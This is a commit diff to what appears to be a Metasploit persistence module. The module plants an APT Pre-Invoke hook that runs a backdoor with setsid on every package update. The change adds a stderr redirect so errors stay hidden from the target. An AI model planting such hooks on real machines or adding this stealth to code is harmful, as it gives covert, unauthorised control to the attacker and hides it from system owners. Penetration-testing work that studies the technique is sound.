Changed hook payload to redirect errors, to not show up on target screen

modules/exploits/linux/local/apt_package_manager_persistence.rb

@@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Local
     backdoor_path << backdoor_name
 
     print_status("Attempting to write hook:")
-    hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} &\"};"
+    hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
     write_file(hook_path, hook_script)
 
     unless exist? hook_path